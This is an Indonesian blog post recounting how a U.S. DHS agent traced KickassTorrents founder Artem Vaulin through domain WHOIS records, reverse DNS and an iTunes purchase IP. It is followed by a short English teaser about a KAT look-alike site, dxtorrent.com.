Tokoh kunci ditangkapnya Artem Vaulin adalah Jared Der-yeghiayan, seorang agen DHS (Department of Homeland Security) Amerika yang melacak keberadaan orang-orang dibalik situs KAT. Semua domain KAT dilacak, dari mulai kat.cr, kickasstorrent.com, kickass.to, kat.ph, kastatic.com, thekat.tv dan kickass.cr, kickasstorrents.biz dll.

Metode yang di gunakan om Jared untuk mengetahui siapa dibalik domain diatas,adalah Reverse DNS Lookup. Dengan lookup tersebut, didapatlah sejumlah IP Address server KAT yang tersebar di beberapa server hosting di Amerika, yang membuat satu bukti sah bahwa KAT melanggar hukum Amerika.

Pencarian dengan WHOIS terhadap kontak yang tertera dari sejumlah domain tersebut. Konyolnya, satu dari domain yang ada, kickasstorrents.biz diregistrasikan oleh Artem Vaulin dari kota Kharkiv, Ukraina. Berbekal nama terang itulah, Amerika kemudian mencari data-data detail tentang Artem Vaulin disemua platform.

Artem-Vaulin-640x414

Celaka dengan Apple & Facebook

Tidak disangka, secara kebetulan atau tepatnya kekonyolan, Vaulin juga memiliki satu alamat Apple ID yang menggunakan nama dan alamat email yang sama, yang kemudian dilacak dan dipantau secara terus menerus. Dan tanggal 31 Juli 2015 dia membeli satu musik di iTunes.

Dan, IP Address saat pembelian di iTunes itu ternyata cocok dengan IP Address pengelolaan fanspage KAT di Facebook!

Ironis, seorang founder dari situs penyedia konten bajakan terbesar justru tertangkap karena membeli konten secara legal!

Sumber: PDF semacam BAP dari kasus ini dan FossByte

KickAss Torrent Comeback with new Domain “DXTorrent”

Just two or three hours back, story about U.S. Government has grabbed the diverse areas of KickassTorrents is spreading. The government examiners additionally captured Artem Vaulin, the affirmed originator of the site.

A click on the commented links took me to dxtorrent.com. I don’t know if it’s an old website that’s a KickassTorrents alternative, or some KAT mirror that has resurrected the KickassTorrents website.

The website looks just like the world’s largest torrent website KAT, featuring the same layout and popup ads. Continue reading KickAss Torrent Comeback with new Domain “DXTorrent”